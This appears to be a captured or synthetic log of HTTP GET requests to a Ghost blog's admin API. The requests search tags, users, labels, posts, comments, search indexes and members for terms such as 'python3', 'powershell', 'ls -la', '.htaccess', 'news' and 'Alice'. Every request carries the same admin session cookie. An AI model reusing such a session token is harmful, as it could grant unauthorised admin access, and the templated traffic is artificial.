{"method": "GET", "target": "/ghost/api/admin/comments/?filter=html%3A%7E%27python3%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/search-index/posts/?filter=title%3A%7E%27python3%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/search-index/pages/?filter=title%3A%7E%27python3%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/?search=python3&limit=100&order=created_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&filter=tags.name%3A%7E%27powershell%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/users/?filter=name%3A%7E%27powershell%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/labels/?filter=name%3A%7E%27powershell%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27powershell%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/comments/?filter=html%3A%7E%27powershell%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/search-index/posts/?filter=title%3A%7E%27powershell%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/search-index/pages/?filter=title%3A%7E%27powershell%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/?search=powershell&limit=100&order=created_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&filter=tags.name%3A%7E%27ls+-la%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/users/?filter=name%3A%7E%27ls+-la%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/labels/?filter=name%3A%7E%27ls+-la%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27ls+-la%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/comments/?filter=html%3A%7E%27ls+-la%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/search-index/posts/?filter=title%3A%7E%27ls+-la%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/search-index/pages/?filter=title%3A%7E%27ls+-la%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/?search=ls+-la&limit=100&order=created_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&filter=tags.name%3A%7E%27.htaccess%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/users/?filter=name%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/labels/?filter=name%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/comments/?filter=html%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/search-index/posts/?filter=title%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/search-index/pages/?filter=title%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/?search=.htaccess&limit=100&order=created_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&filter=tags.name%3A%7E%27news%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/users/?filter=name%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/labels/?filter=name%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/comments/?filter=html%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/search-index/posts/?filter=title%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/search-index/pages/?filter=title%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/?search=news&limit=100&order=created_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&filter=tags.name%3A%7E%27Alice%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/users/?filter=name%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/labels/?filter=name%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/comments/?filter=html%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/search-index/posts/?filter=title%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/search-index/pages/?filter=title%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/?search=Alice&limit=100&order=created_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apython3%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apowershell%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Alinux-ls-la%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
